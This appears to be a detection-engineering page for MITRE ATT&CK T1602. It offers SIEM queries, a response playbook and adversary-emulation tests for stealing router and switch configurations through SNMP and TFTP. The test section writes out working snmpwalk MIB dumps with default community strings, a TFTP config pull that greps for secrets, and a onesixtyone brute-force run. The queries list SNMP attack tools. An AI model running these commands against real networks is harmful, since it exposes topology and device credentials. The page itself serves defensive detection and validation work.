T1602

Data from Configuration Repository

Collection Last updated:

This detection identifies adversaries targeting network device configuration repositories to collect sensitive system administration data. Attackers exploit SNMP (Simple Network Management Protocol) community strings to perform MIB (Management Information Base) dumps, use TFTP/SCP/FTP to retrieve running or startup configurations from routers, switches, and firewalls, or abuse network management platforms (NMS) such as SolarWinds, PRTG, or Cisco DNA Center. Detection focuses on anomalous SNMP bulk-walk queries originating from non-management hosts, unexpected TFTP transfers from network infrastructure devices, unusual authentication events against network management systems, and high-volume SNMP OID enumeration patterns indicative of automated reconnaissance tools.

What is T1602 Data from Configuration Repository?

Data from Configuration Repository (T1602) maps to the Collection tactic — the adversary is trying to gather data of interest to their goal in MITRE ATT&CK.

This page provides production-ready detection logic for Data from Configuration Repository, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Microsoft Sentinel. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Collection
Technique
T1602 Data from Configuration Repository
Canonical reference
https://attack.mitre.org/techniques/T1602/
Microsoft Sentinel / Defender
kusto
let management_subnets = dynamic(["10.10.10.0/24", "192.168.1.0/24"]);
let snmp_ports = dynamic([161, 162]);
let config_transfer_ports = dynamic([69, 22, 21]);
let lookback = 1h;
// Detect SNMP traffic from non-management hosts
let snmp_anomalies = DeviceNetworkEvents
| where TimeGenerated >= ago(lookback)
| where RemotePort in (snmp_ports) or LocalPort in (snmp_ports)
| where Protocol == "Udp"
| extend IsManagementHost = ipv4_is_in_range(LocalIP, "10.10.10.0/24") or ipv4_is_in_range(LocalIP, "192.168.1.0/24")
| where IsManagementHost == false
| extend AlertType = "SNMP_From_Non_Management_Host"
| project TimeGenerated, DeviceName, LocalIP, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, AlertType;
// Detect TFTP transfers (network device config pulls)
let tftp_transfers = DeviceNetworkEvents
| where TimeGenerated >= ago(lookback)
| where RemotePort == 69 or LocalPort == 69
| extend AlertType = "TFTP_Config_Transfer"
| project TimeGenerated, DeviceName, LocalIP, RemoteIP, RemotePort, InitiatingProcessFileName, InitiatingProcessCommandLine, AlertType;
// Detect SNMP-related process execution (snmpwalk, snmpget, snmpbulkwalk)
let snmp_tools = DeviceProcessEvents
| where TimeGenerated >= ago(lookback)
| where ProcessCommandLine has_any ("snmpwalk", "snmpbulkwalk", "snmpget", "snmpset", "snmptable", "onesixtyone", "braa", "-v2c", "community")
| extend AlertType = "SNMP_Enumeration_Tool"
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, AlertType;
// Detect access to network management system files
let nms_access = DeviceFileEvents
| where TimeGenerated >= ago(lookback)
| where FolderPath has_any ("SolarWinds", "PRTG", "ManageEngine", "CiscoWorks", "tftproot", "tftp", "cisco")
    or FileName has_any (".cfg", "-confg", "-running", "-startup", ".conf") and FolderPath has_any ("backup", "config", "tftp", "network")
| extend AlertType = "NMS_Config_File_Access"
| project TimeGenerated, DeviceName, AccountName, FolderPath, FileName, ActionType, AlertType;
union snmp_anomalies, tftp_transfers, snmp_tools, nms_access
| summarize Count = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated),
    Devices = make_set(DeviceName), AlertTypes = make_set(AlertType)
    by bin(TimeGenerated, 15m), RemoteIP = coalesce(RemoteIP, "")
| where Count >= 1
| extend RiskScore = case(
    AlertTypes has "SNMP_Enumeration_Tool" and AlertTypes has "TFTP_Config_Transfer", 90,
    AlertTypes has "SNMP_Enumeration_Tool", 75,
    AlertTypes has "TFTP_Config_Transfer", 70,
    AlertTypes has "SNMP_From_Non_Management_Host", 60,
    AlertTypes has "NMS_Config_File_Access", 55,
    40)
| where RiskScore >= 55
| project FirstSeen, LastSeen, RemoteIP, Count, AlertTypes, Devices, RiskScore
| sort by RiskScore desc

Detects SNMP enumeration tools (snmpwalk, snmpbulkwalk, braa, onesixtyone), SNMP traffic originating from non-management hosts, TFTP-based configuration file transfers, and access to network management system configuration files. Correlates multiple signals with a risk score to surface high-confidence alerts while reducing noise from legitimate NMS polling.

high severity medium confidence

Data Sources

Microsoft Defender for Endpoint Microsoft Sentinel

Required Tables

DeviceNetworkEvents DeviceProcessEvents DeviceFileEvents

False Positives

  • Legitimate network management systems (SolarWinds, PRTG, Nagios, Zabbix) performing scheduled SNMP polling of network infrastructure
  • IT operations teams running snmpwalk/snmpget during troubleshooting or capacity planning activities
  • Authorized TFTP-based network device backup jobs executed by configuration management tools like Oxidized, RANCID, or BackupNinja
  • Network monitoring agents and vulnerability scanners (Nessus, Qualys) querying SNMP-enabled devices during credentialed scans

Sigma rule & cross-platform mapping

The detection logic for Data from Configuration Repository (T1602) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1SNMP MIB Bulk Walk Using snmpwalk

    Expected signal: Linux process exec events showing snmpwalk/snmptable with -v2c flag and community string argument. DeviceProcessEvents (if MDE Linux agent deployed) or auditd exec logs. Network flow telemetry showing UDP/161 traffic to target IP.

  2. Test 2Network Device Configuration Dump via TFTP

    Expected signal: DeviceNetworkEvents showing UDP/69 connection. DeviceProcessEvents showing tftp.exe execution with remote host IP argument. Windows Security Event 5156 (Windows Filtering Platform permitted connection) for TFTP traffic. TFTP server access logs showing GET request for config file.

  3. Test 3SNMP Community String Brute Force with onesixtyone

    Expected signal: High-volume UDP/161 packets from single source IP visible in NetFlow/IPFIX or network TAP data. Network device syslog SNMP-3-AUTHFAIL entries for failed community strings. DeviceNetworkEvents if source host has MDE agent showing rapid UDP connections to port 161 across multiple destinations.


Response Playbook

Triage

  1. Step 1: Identify the source IP triggering the alert. Query DeviceNetworkEvents or syslog for all SNMP/TFTP connections from that IP in the past 24 hours. Determine if the source is a known network management host by cross-referencing the CMDB or IP management system.
  2. Step 2: Check if the source IP is registered in your NMS inventory (SolarWinds, PRTG, Zabbix, Nagios). If yes, verify the poll schedule matches the observed activity timestamps — out-of-schedule SNMP from a known NMS host still warrants investigation.
  3. Step 3: Analyze the SNMP community string used. If network device logs include community string names, check if 'public', 'private', or other default community strings are in use — these indicate misconfiguration and are high-value to adversaries.
  4. Step 4: For TFTP alerts, examine the destination of the transfer. Was the config sent to an internal server (legitimate backup) or to an external/unexpected IP? Run a reverse DNS lookup and ASN query on the destination IP.
  5. Step 5: Check for bulk SNMP walks vs. targeted OID queries. Tools like snmpbulkwalk, onesixtyone, or braa perform high-volume queries in a short time window. Query DeviceNetworkEvents for packet count/frequency from the source: 100+ SNMP UDP packets in 60 seconds is anomalous unless from a known poller.
  6. Step 6: Cross-reference with authentication logs. If SNMP v3 is in use, check AAD/Radius/TACACS+ logs for authentication attempts against the device. SNMPv3 auth failures preceding a successful walk are a strong indicator of credential testing.
  7. Step 7: Review what data was accessible. SNMP MIB walks of the system group (1.3.6.1.2.1.1), interfaces (1.3.6.1.2.1.2), IP routing table (1.3.6.1.2.1.4), and TCP/UDP tables expose full network topology and host enumeration data to an adversary.

Containment

  1. If source IP is confirmed malicious: immediately add ACL/firewall rule blocking that IP from reaching UDP/161 and UDP/162 on all network infrastructure. Push this as an emergency change through your NMS or directly to perimeter devices.
  2. Rotate all SNMP community strings across affected devices immediately — change 'public', 'private', and any custom strings that may have been exposed. Update NMS configurations with new strings before pushing to devices.
  3. Disable SNMP v1/v2c on all devices where SNMPv3 is supported. SNMPv1/v2c community strings are sent in cleartext and trivial to capture. Implement SNMPv3 with authPriv security level.
  4. For TFTP-based exfiltration: block TCP/UDP 69 outbound from all network devices at the perimeter except to explicitly approved backup server IPs. Review and restrict 'ip tftp source-interface' configurations on Cisco devices.
  5. Isolate the source system if it is an internal endpoint (not a management server). Treat it as potentially compromised and follow your endpoint IR playbook.
  6. Revoke any NMS API tokens or credentials that may have been obtained. Rotate TACACS+/RADIUS shared secrets on all network devices.

Evidence Collection

  1. Export AAA/TACACS+ logs from all network devices for the past 30 days — these show authenticated CLI sessions, commands executed, and configuration changes. Archive to IR case management.
  2. Capture full syslog history from affected network devices for the alert timeframe. Look for 'SYS-5-CONFIG_I' (Cisco IOS config changed from console/VTY), 'SNMP-3-AUTHFAIL', and TFTP-related log entries.
  3. On the source endpoint (if internal): collect memory dump, running processes, network connections (netstat -antp), and bash/PowerShell history. SNMP enumeration tools leave artifacts in /usr/bin/, /tmp/, or %TEMP%.
  4. Retrieve device running-config and compare against last known-good backup using a diff tool. Any configuration changes added by the adversary (e.g., new SNMP community, rogue user accounts, embedded backdoors) will be visible.
  5. Export SNMP trap and inform logs from the NMS to establish baseline polling behavior. Compare timestamps and OID ranges queried during the incident window against normal polling patterns.
  6. Collect NetFlow/IPFIX data from edge routers covering the incident timeframe. This provides volume-level evidence of data exfiltration and confirms whether configuration data left the network.

Escalation Criteria

  • ! Escalate to incident commander immediately if SNMP queries originated from an external IP — this indicates active external reconnaissance of network topology and is a precursor to network infrastructure attacks.
  • ! Escalate if configuration files were successfully transferred via TFTP to any non-approved destination — treat as confirmed data breach affecting network infrastructure secrets (passwords, topology, ACLs).
  • ! Escalate if the SNMP community string 'public' or 'private' was successfully used — this indicates a network-wide misconfiguration that may affect hundreds of devices and represents a systemic security failure.
  • ! Escalate if SNMP bulk walks coincide with other TTPs such as lateral movement (T1021), new account creation (T1136), or schedule task creation (T1053) — this indicates a sophisticated multi-phase intrusion.
  • ! Escalate to network operations if more than 10 network devices were queried in a single session — full topology mapping enables advanced attacks against critical infrastructure.

Investigation Guide

Forensic Artifacts

  • > Network device AAA logs: TACACS+/RADIUS authentication records showing source IP, username, command authorization
  • > Syslog entries: Cisco SYS-5-CONFIG_I (config changed), SNMP-3-AUTHFAIL (SNMP auth failure), TFTP session records
  • > NMS database: SolarWinds Orion DB or PRTG SQLite storing SNMP community strings, device credentials, topology maps
  • > TFTP server logs: /var/log/tftpd.log or Windows TFTP server logs showing files transferred and source IPs
  • > Network device NVRAM: 'show startup-config' to identify unauthorized persistent configuration changes
  • > Endpoint artifacts on source host: snmpwalk/braa/onesixtyone binaries in /tmp or %TEMP%, command history files showing SNMP tool invocations
  • > NetFlow records: UDP flows to port 161/162 with unusually high packet counts indicating bulk SNMP walks
  • > Packet captures: SNMPv1/v2c community strings visible in plaintext in UDP payload of captured traffic

Tuning Guidance

The primary source of false positives is legitimate NMS polling (SolarWinds, PRTG, Zabbix, Nagios). Build an exclusion list of authorized management server IPs and exclude them from SNMP traffic alerts while retaining detection for SNMP enumeration tools and TFTP transfers. For process-based detections, create allowlist entries for authorized network engineer workstations where snmpwalk is a legitimate troubleshooting tool. Tune the bulk-walk threshold based on your environment's polling frequency — in large environments, 200+ SNMP packets/hour from NMS hosts is normal. For TFTP alerts, exclude backup jobs by adding known TFTP server IPs to an allowlist and creating schedule-based suppression during documented maintenance windows. For NMS file access alerts, baseline normal access patterns by NMS service accounts and exclude those accounts from file read alerts while retaining detection for interactive user access to NMS credential stores.


Hunting Queries

Hunts for high-frequency SNMP UDP connections from single sources indicating automated bulk MIB walks or network-wide SNMP scanning — patterns not covered by the main detection which focuses on process-level artifacts.

Hunting — KQL
kql
// Hunt for high-frequency SNMP connections indicating bulk MIB walks
DeviceNetworkEvents
| where TimeGenerated >= ago(7d)
| where RemotePort == 161 and Protocol == "Udp"
| summarize ConnectionCount = count(), UniqueDestinations = dcount(RemoteIP), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
    by LocalIP, DeviceName, InitiatingProcessFileName, bin(TimeGenerated, 1h)
| where ConnectionCount > 50 or UniqueDestinations > 5
| extend BulkWalkIndicator = iff(ConnectionCount > 200, "High-Volume MIB Walk", "Moderate SNMP Scan")
| project TimeGenerated, DeviceName, LocalIP, UniqueDestinations, ConnectionCount, BulkWalkIndicator, InitiatingProcessFileName
| sort by ConnectionCount desc
Hunting — SPL
spl
index=* sourcetype="stream:udp" dest_port=161
| bin _time span=1h
| stats count as snmp_count, dc(dest_ip) as unique_targets, values(dest_ip) as target_ips by _time, src_ip
| where snmp_count > 50 OR unique_targets > 5
| eval severity=case(snmp_count > 500, "CRITICAL - bulk MIB walk", snmp_count > 100, "HIGH - SNMP scan", true(), "MEDIUM")
| table _time, src_ip, unique_targets, snmp_count, target_ips, severity
| sort - snmp_count

Hunts for SNMP reconnaissance tools (snmpwalk, onesixtyone, braa) and default community string usage in process execution logs across Windows Sysmon and Linux auditd — focuses on attacker tooling rather than network traffic patterns.

Hunting — KQL
kql
// Hunt for SNMP enumeration tools installed or executed recently
DeviceProcessEvents
| where TimeGenerated >= ago(30d)
| where ProcessCommandLine has_any ("snmpwalk", "snmpbulkwalk", "snmptable", "snmpdf", "snmpnetstat", "snmpgetnext")
    or (FileName has_any ("onesixtyone", "braa", "snmpenum") and ActionType == "ProcessCreated")
    or ProcessCommandLine matches regex @"-c\s+(?:public|private|community|snmp|network|cisco)\s"
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessAccountName
| extend ToolType = case(
    ProcessCommandLine has "bulkwalk", "SNMPBulkWalk - Full MIB enumeration",
    FileName == "onesixtyone", "Community String Brute-Force Tool",
    FileName == "braa", "Fast SNMP Mass Scanner",
    "Standard SNMP Query Tool")
| sort by TimeGenerated desc
Hunting — SPL
spl
index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1) OR (sourcetype=linux_secure action=execve)
| search (CommandLine="*snmpwalk*" OR CommandLine="*snmpbulkwalk*" OR CommandLine="*onesixtyone*" OR CommandLine="*braa*" OR CommandLine="*snmpenum*" OR CommandLine="*-c public*" OR CommandLine="*-c private*")
| eval tool_risk=case(like(CommandLine, "%onesixtyone%") OR like(CommandLine, "%braa%"), "HIGH - Mass SNMP scanner", like(CommandLine, "%bulkwalk%"), "HIGH - Bulk MIB dump", like(CommandLine, "%-c public%") OR like(CommandLine, "%-c private%"), "MEDIUM - Default community string", true(), "LOW")
| table _time, host, user, CommandLine, tool_risk, ParentCommandLine
| sort - _time

Hunts for file access events against network management system credential stores and exported device configuration files — identifies attackers pivoting to NMS platforms as a higher-value configuration data source than direct SNMP queries.

Hunting — KQL
kql
// Hunt for unusual access to NMS credential stores and configuration exports
DeviceFileEvents
| where TimeGenerated >= ago(14d)
| where (FolderPath has_any ("SolarWinds\\Orion", "PRTG Network Monitor", "ManageEngine\\OpManager", "Intermapper", "Cacti", "LibreNMS", "rancid", "oxidized"))
    or (FileName endswith ".cfg" or FileName endswith "-confg" or FileName endswith ".conf")
    and (FolderPath has_any ("tftp", "backup", "config_backup", "netbackup", "oxidized"))
| where ActionType in ("FileRead", "FileCopied", "FileRenamed", "FileCreated")
| project TimeGenerated, DeviceName, AccountName, FolderPath, FileName, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine
| extend Sensitivity = case(
    FolderPath has "SolarWinds" and FileName endswith ".sdf", "CRITICAL - SolarWinds credential DB",
    FolderPath has "PRTG" and FileName == "PRTG Configuration.dat", "CRITICAL - PRTG config with credentials",
    FileName endswith "-confg" or FileName endswith ".cfg", "HIGH - Network device config file",
    "MEDIUM - NMS data file")
| sort by TimeGenerated desc
Hunting — SPL
spl
index=* sourcetype=WinEventLog:Security EventCode=4663
| rex field=_raw "Object Name:\s+(?P<object_name>[^\r\n]+)"
| rex field=_raw "Account Name:\s+(?P<account_name>[^\r\n]+)"
| where match(object_name, "(?i)(SolarWinds|PRTG|ManageEngine|tftproot|oxidized|rancid|\.(cfg|confg|conf)$)")
| eval nms_risk=case(match(object_name, "(?i)SolarWinds.*(sdf|db)"), "CRITICAL", match(object_name, "(?i)PRTG.*(dat|db)"), "CRITICAL", match(object_name, "(?i)\.(cfg|confg)$"), "HIGH", true(), "MEDIUM")
| stats count, values(object_name) as accessed_files, dc(object_name) as unique_files by _time, account_name, host, nms_risk
| where count > 0
| sort - count

Atomic Red Team Tests

Test 1 SNMP MIB Bulk Walk Using snmpwalk
linux

Simulates an adversary performing a full MIB walk against a network device using SNMPv2c with a default community string. This validates that SNMP enumeration tool execution is detected via process monitoring.

Command

bash
# Install snmp tools if not present
apt-get install -y snmp snmp-mibs-downloader 2>/dev/null || yum install -y net-snmp-utils 2>/dev/null

# Perform SNMPv2c MIB walk against target device (replace TARGET_IP with a lab device)
TARGET_IP="192.168.1.1"
COMMUNITY="public"

# Full MIB walk
snmpwalk -v2c -c ${COMMUNITY} ${TARGET_IP} 1.3.6.1 2>&1 | head -100

# Targeted system information retrieval
snmpget -v2c -c ${COMMUNITY} ${TARGET_IP} 1.3.6.1.2.1.1.1.0  # sysDescr
snmpget -v2c -c ${COMMUNITY} ${TARGET_IP} 1.3.6.1.2.1.1.5.0  # sysName

# Interface table (reveals network topology)
snmptable -v2c -c ${COMMUNITY} ${TARGET_IP} 1.3.6.1.2.1.2.2

# IP routing table (reveals network topology)
snmpwalk -v2c -c ${COMMUNITY} ${TARGET_IP} 1.3.6.1.2.1.4.21

Cleanup

bash
# No persistent changes on attacker host
rm -f /tmp/snmp_output.txt
# Verify no SNMP trap receivers were configured on target

Expected Telemetry

Linux process exec events showing snmpwalk/snmptable with -v2c flag and community string argument. DeviceProcessEvents (if MDE Linux agent deployed) or auditd exec logs. Network flow telemetry showing UDP/161 traffic to target IP.

Expected Detection

SNMP Enumeration Tool alert from DeviceProcessEvents query matching 'snmpwalk' and '-v2c' in ProcessCommandLine. SPL hunt query matching CommandLine with snmpwalk and -c community string pattern.

Test 2 Network Device Configuration Dump via TFTP
windows

Simulates an adversary copying a network device running configuration to an attacker-controlled TFTP server. Validates detection of TFTP-based configuration exfiltration from network devices.

Command

powershell
# Step 1: Set up a TFTP listener on attacker machine (requires tftpd64 or equivalent)
# On attacker: Start-Process 'tftpd64.exe' (or use built-in Windows TFTP)

# Step 2: From a compromised host that has management access to network device,
# trigger config dump (simulated via Cisco IOS command syntax in a test environment)
# This simulates what would be run on a Cisco device's CLI:
# Router# copy running-config tftp:
# Address or name of remote host []? 10.10.10.99
# Destination filename [router-confg]? running-config-backup.cfg

# Step 3: Simulate TFTP client requesting config file (attacker retrieves config)
$TFTPServer = "192.168.1.1"  # lab device
$OutputFile = "$env:TEMP\device-config.cfg"

# Windows TFTP client (if enabled)
tftp -i $TFTPServer GET running-config $OutputFile

# Verify file received
if (Test-Path $OutputFile) {
    Write-Host "[*] Config file retrieved: $(Get-Item $OutputFile | Select-Object -ExpandProperty Length) bytes"
    Select-String -Path $OutputFile -Pattern "password|secret|community|key" | Select-Object -First 20
}

Cleanup

powershell
Remove-Item "$env:TEMP\device-config.cfg" -Force -ErrorAction SilentlyContinue
# Remove any TFTP server process started during test
Get-Process tftpd* | Stop-Process -Force -ErrorAction SilentlyContinue

Expected Telemetry

DeviceNetworkEvents showing UDP/69 connection. DeviceProcessEvents showing tftp.exe execution with remote host IP argument. Windows Security Event 5156 (Windows Filtering Platform permitted connection) for TFTP traffic. TFTP server access logs showing GET request for config file.

Expected Detection

TFTP Config Transfer alert from DeviceNetworkEvents query matching RemotePort 69. SPL TFTP event from network device syslog if device is in scope. NMS file access alert if output file lands in monitored directory.

Test 3 SNMP Community String Brute Force with onesixtyone
linux

Simulates adversary brute-forcing SNMP community strings across multiple hosts using the onesixtyone mass scanner tool. Validates detection of high-volume SNMP authentication attempts against network infrastructure.

Command

bash
# Install onesixtyone
apt-get install -y onesixtyone 2>/dev/null || git clone https://github.com/trailofbits/onesixtyone /tmp/161 && cd /tmp/161 && make

# Create target list (lab network devices only)
cat > /tmp/targets.txt << 'EOF'
192.168.1.1
192.168.1.254
10.0.0.1
EOF

# Create community string wordlist
cat > /tmp/communities.txt << 'EOF'
public
private
community
snmp
network
monitoring
admin
EOF

# Run community string brute force
onesixtyone -c /tmp/communities.txt -i /tmp/targets.txt -w 100 2>&1

# For each discovered community string, dump interface table
# onesixtyone output format: 192.168.1.1 [public] Cisco IOS
# snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.2 (interfaces)
echo "[*] Test complete - check SIEM for SNMP auth failure events"

Cleanup

bash
rm -f /tmp/targets.txt /tmp/communities.txt
rm -rf /tmp/161

Expected Telemetry

High-volume UDP/161 packets from single source IP visible in NetFlow/IPFIX or network TAP data. Network device syslog SNMP-3-AUTHFAIL entries for failed community strings. DeviceNetworkEvents if source host has MDE agent showing rapid UDP connections to port 161 across multiple destinations.

Expected Detection

High-frequency SNMP connections hunting query fires on ConnectionCount > 50. Network device syslog detection in SPL fires on SNMP auth failures matching SNMP-3-AUTHFAIL pattern. Process-based detection fires if onesixtyone binary execution is logged.

Related Detections

Tactic Hub